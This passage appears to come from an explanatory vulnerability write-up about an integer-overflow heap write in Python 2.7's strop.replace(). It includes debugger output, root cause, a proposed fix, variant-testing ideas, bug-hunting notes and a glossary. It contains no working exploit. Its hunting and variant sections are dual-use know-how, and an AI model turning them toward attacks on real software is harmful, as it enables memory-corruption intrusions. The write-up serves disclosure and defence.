57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
db means display bytes, and edi-0x10 means start a little before the destination address so you can see the boundary. The 41 values are the byte for the letter A, the substitute data. The ?? marks memory the debugger cannot read, which is the first sign that the copy has reached the edge of what was reserved.
The source buffer is full of 41 (A) bytes, the substitute data being copied:
0:000> db esi
01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
This confirms the source is the substitute text: a long run of A bytes waiting to be written out.
The call stack confirms the path from the interpreter down to the copy:
0:000> k
ChildEBP RetAddr
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
The k command prints the call stack: the list of functions that are currently running, newest at the top. Read from the top down, it says: the crash is in memcpy, which was called by mymemreplace, which was called by strop_replace, which was called by Python's machinery for calling C functions, which was called by the interpreter evaluating the script, and so on down to the program's startup code. This is the chain of evidence tying the crash to the exact function in stropmodule.c.
Step 3: confirm the fault is a write past the reservation
The debugger's exception analysis identifies the faulting instruction and the write address:
FAULTING_IP:
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 57096000
Attempt to write to address 57096000
FAULTING_IP is the instruction pointer at the moment of the fault, the address of the instruction that caused the problem. The exception record says the code c0000005 was raised, which Windows uses for an access violation: the program tried to touch memory it is not allowed to touch. The parameters say it was a write (parameter 0 is 1) and give the address it tried to write to. In other words, the copy ran off the end of the reserved block and hit a wall.
The analysis classifies the failure as a string dereference with an invalid pointer write:
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
These are labels the debugger attaches to the crash so similar crashes can be grouped. They are not new information, just the tool's own summary of what it saw.
The stack text repeats the same call chain, with mymemreplace and strop_replace frames above memcpy, and the failure bucket is recorded as:
FAILURE_BUCKET_ID: [redacted].dll!memcpy
BUCKET_ID: [redacted]!memcpy+5a
In this run the write landed on memory that was not writable, so the process died. The report says the overflow can be exploited to write outside the string buffer and potentially achieve code execution. Code execution means getting the processor to run instructions the attacker chose rather than the ones the program intended.
Root cause
mymemreplace() computes the output size as len + nfound*(sub_len - pat_len) in signed pointer-sized arithmetic without checking for overflow. When the product or the sum wraps, new_len no longer reflects the amount of data the loop will write. The reservation is made with the wrapped value, but the copy loop is bounded by the input length and the substitute length, so memcpy writes past the end of the buffer.
The code contains an assert(new_len > 0) before the reservation, but no check that the computed length matches the bytes copied. There is no check that the computed length is consistent with the actual number of bytes that will be copied, and the memcpy calls themselves have no bounds against the reservation.
Impact
The report states that the overflow can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The affected component is the deprecated strop module, which is still available in Python 2.7 and in use. The practical exposure depends on whether an application passes attacker-controlled data and arguments into strop.replace(); the report does not enumerate specific applications or attack surfaces beyond that. The researcher hedges code execution as potential rather than demonstrated, and the debugger session shows a crash rather than a controlled exploit.
Fix
The proposed fix is to validate that the computed new_len has not overflowed before reserving memory. The check the researcher describes is to compare (new_len - len) / nfound against sub_len - pat_len; if the two are not equal, an overflow has occurred. The reasoning is that dividing the computed growth back by the number of matches should recover the per-match growth; if it does not, the number must have wrapped. Patches for stropmodule.c and test_strop.py were attached to the report.
Variants to test
- Other length arithmetic in C extension modules. Any place that computes an output size from a count multiplied by a per-item delta, then reserves memory and copies in a separate loop, is a candidate. A positive result is a computed size that is smaller than the number of bytes the copy loop writes, visible as a crash or heap corruption under a debugger.
- Different pattern and substitute lengths. The trigger needs the substitute longer than the pattern and enough matches for the product to wrap. Varying the ratio and the input length shows whether the wrap point is reachable with smaller inputs on a given build.
- Different integer widths. The same code on a 64-bit build needs a much larger input to wrap, so check whether the arithmetic is done in
Py_ssize_tand whether the wrap is reachable at all on the target platform. - Release builds. Confirm the behaviour without a debugger and without asserts, since
assert(new_len > 0)disappears in release builds. A positive result is heap corruption or a crash in a normal, non-debug interpreter.
Hunting notes
This kind of bug hides in legacy C extension modules that are deprecated but still shipped and importable, especially those that do their own buffer sizing rather than going through the modern string APIs. During recon, the signals are modules written in C with hand-rolled memcpy loops, size computations involving multiplication by a match or item count, and reservations whose result is used by a loop bounded by a different variable. The report shows a debugger-confirmed out-of-bounds write with a full call stack and points at the unchecked expression and the reservation that consumes it.
Glossary
- Access violation: the error Windows raises when a program tries to read or write memory it is not allowed to touch.
- Assert: a sanity check in code that is meant for developers and is removed from normal release builds.
- Buffer: a block of memory set aside to hold data.
- Buffer overflow: writing more data into a buffer than it has room for, so the extra data lands in memory that belongs to something else.
- C: a low-level programming language that gives direct access to memory, used to write Python itself and many of its modules.
- Call stack: the list of functions currently running, each one having been called by the one below it.
- Code execution: getting a computer to run instructions chosen by an attacker rather than the ones the program intended.
- CPython: the standard, most widely used implementation of the Python language, written in C.
- Debugger: a tool for pausing a running program, inspecting its memory and registers, and seeing which function called which.
- Deprecated: still present and working, but officially discouraged and scheduled for eventual removal.
- Dereference: using a pointer to reach the memory it points at.
- Extension module: a module written in a language other than Python, usually C, that plugs into Python and behaves like a normal module.
- Heap: the general pool of memory a program uses for data it creates while running.
- Hexadecimal: a base-16 way of writing numbers, common in programming because it maps neatly onto bytes.
- Integer overflow: a number growing too large for its fixed-width storage slot and wrapping around to a small or negative value without an error.
memcpy: a standard C function that copies a given number of bytes from one memory address to another, without checking that the destination has room.- Memory corruption: damage to memory that causes a program to behave unpredictably, crash, or run unintended code.
- Module: a bundle of ready-made functions you can load into a program.
- Out-of-bounds write: a write to memory outside the area that was reserved for it.
- Pointer: a value that holds a memory address, telling the program where some data lives.
- Proof of concept: a small script or set of steps that demonstrates a bug really exists.
- Register: a tiny, very fast storage slot inside the processor.
- Release build: a version of a program compiled for normal use, without developer-only checks such as asserts.
- Root cause: the underlying mistake in the code that produces the visible symptom.
- Signed: a number format that can hold both positive and negative values.
- Stack trace: a printed record of the call stack at a particular moment, usually when a program crashes.
strop: a deprecated C extension module in Python 2.7 offering string helpers, includingreplace().strop.replace(): the function instropthat swaps one piece of text for another inside a string.- Substitute: the replacement text written in place of a matched pattern.
- 32-bit / 64-bit: how wide the processor's numbers and addresses are; wider slots hold larger values before wrapping.
- Wrap around: what a fixed-width number does when it exceeds its maximum, rolling over to a small or negative value.